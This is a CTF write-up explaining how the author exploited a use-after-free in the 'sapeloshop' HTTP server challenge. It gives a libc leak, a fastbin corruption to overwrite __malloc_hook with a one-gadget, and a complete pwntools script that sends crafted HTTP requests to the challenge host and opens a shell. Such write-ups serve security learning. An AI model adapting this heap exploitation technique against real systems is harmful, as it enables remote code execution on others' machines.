Solved by 4rbit3r
I didn’t take a look at this challenge until the second day of the CTF. I was stuck on another challenge which we couldn’t solve in the end. But I managed to get a shell out of this one. So here’s the writeup.
The package we download consist of a couple of files : sapeloshop executable, libc.so.6 and four html files.
Upon inspecting the permissions enabled on the binary, we get the following
$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
Upon reverse engineering the sapeloshop executable, we find that it is a HTTP server written in C. The application is a shopping cart which contains functionalities for adding products to our cart. We can also control the quantities of the product we buy as well as remove the products.
I read some other writeups of this same challenge and found out that I had missed out on a buffer overflow vulnerability in the main function. If I had bothered enough to reverse engineer the main function carefully, I might’ve noticed it and consequently, it would’ve saved a lot of time. But I exploited a UAF vulnerability and I believe that was what the admin intended too. So, here’s the solution described below.
Every time, we add an item to the cart, an object of the item gets stored in a global array. The object contains a pointer to the item’s name and a count of the quantity of that item that is present in our cart.
The vulnerability is triggered when we decrement the quantity of an item to zero. If the quantity becomes zero, the pointer to the item’s name is freed but the table entry is not nulled out. Voila, UAF.
We can use this vulnerability to leak out memory of the libc by creating a chunk of size 0x80 and then decrementing the quantity to zero. Then, viewing the cart will print out the content of the chunk which will be pointers that point to an address in the main arena.
Now, once we have a libc leak, we can use the fastbin corruption method to overwrite the __malloc_hook
with the address of a one-shot-rce gadget.
Here are the steps to get a chunk allocated before the __malloc_hook
.
- Add two products of size 0x60.
- Decrement them to zero quantity. (This frees the two chunks and puts them into the fastbin list).
- Increment the quantity of the first product.
- Decrement the quantity of the first product. (This puts the first chunk into the fastbin list again).
- Add a chunk of size 0x60 and fill the first 8 bytes with a pointer to
__malloc_hook
-0x23. - Add two chunks of size 0x60
The next allocation of size 0x60 would be a pointer to the __malloc_hook
-0x13. So, all that’s left is to overwrite the __malloc_hook
with a pointer to the one-shot-rce and then you should have your shell.
But there’s a slight problem with executing this idea practically.
The binary first reads input to a buffer in the stack and then copies it to the heap after a pointer has been allocated. This copying stops when the first null byte is encountered. So, our payload of 0x60 bytes in step 5 would become a payload of only 6 bytes.
I was stuck at this point and had to ask the admin for help. Grimmlin told me to check the same part a bit more closely i.e the part where the binary copies the content to the heap.
Here’s the code of the same
The first argument to this functions is the buffer on the stack and the second argument is the buffer on the heap.
The variable end is a pointer to the end of the string in the stack. The strlen
call here causes issues when we have null bytes in our payload.
But, if we look a bit closely at the else if
part of the function, we can find a workaround. What it basically does is to convert a string that matches %AA to the byte 0xAA and stores it in the heap buffer.
So we can enter the string ‘%00’ and a null byte will be written by this function to the end of the string on the heap. There’s our workaround.
All that’s left is to write a wrapper that can send payloads as an HTTP request and pwn this binary.
Here’s the script
from pwn import * offset = 0xf02a4 def send_payload(cmd, msg): terminate = '\r\n' payload = 'POST /{} HTTP/1.1'.format(cmd)+terminate payload += 'Connection: keep-alive'+terminate payload += 'Content-Length: {}'.format(len(msg)+1)+terminate payload += 'User-Agent: asdf'+terminate*2 p.send(payload) time.sleep(2) p.sendline(msg) if __name__ == '__main__': libc = ELF('./libc-2.23.so') # p = process('./sapeloshop', env={'LD_PRELOAD': './libc-2.23.so'}) p = remote('sapeloshop.teaser.insomnihack.ch', 80) send_payload('add', 'desc='+'A'*0x80+'&') p.recvuntil('</html>') send_payload('add', 'desc='+'B'*96+'&') p.recvuntil('</html>') send_payload('add', 'desc='+'C'*96+'&') p.recvuntil('</html>') # # Leaking # send_payload('sub', 'item=0&') p.recvuntil('</html>') send_payload('inc', 'item=0&') p.recvuntil('<div class="row"><div class="col-md-8"><img src="img/') libc.address = u64(p.recv(6).ljust(8, '\x00')) - 0x3c4b78 hook = libc.symbols['__malloc_hook'] one_gadget = libc.address + offset log.success("Leaked libc @ {}".format(hex(libc.address))) log.success("Malloc hook @ {}".format(hex(hook))) log.success("Gadget @ {}".format(hex(one_gadget))) # # UAF # send_payload('sub', 'item=1&') p.recvuntil('</html>') send_payload('sub', 'item=2&') p.recvuntil('</html>') send_payload('inc', 'item=1&') p.recvuntil('</html>') send_payload('sub', 'item=1&') # # Exploit # send_payload('add', 'desc='+p64(hook-0x23)[:6]+'%00'*2+'A'*88+'&') send_payload('add', 'desc='+'A'*96+'&') send_payload('add', 'desc='+'A'*96+'&') send_payload('add', 'desc='+'A'*0x13+p64(one_gadget)[:6]+'%00'*2+'A'*69) send_payload('add', 'desc=asdf&') p.recv(timeout=2) p.interactive()
Leave a Reply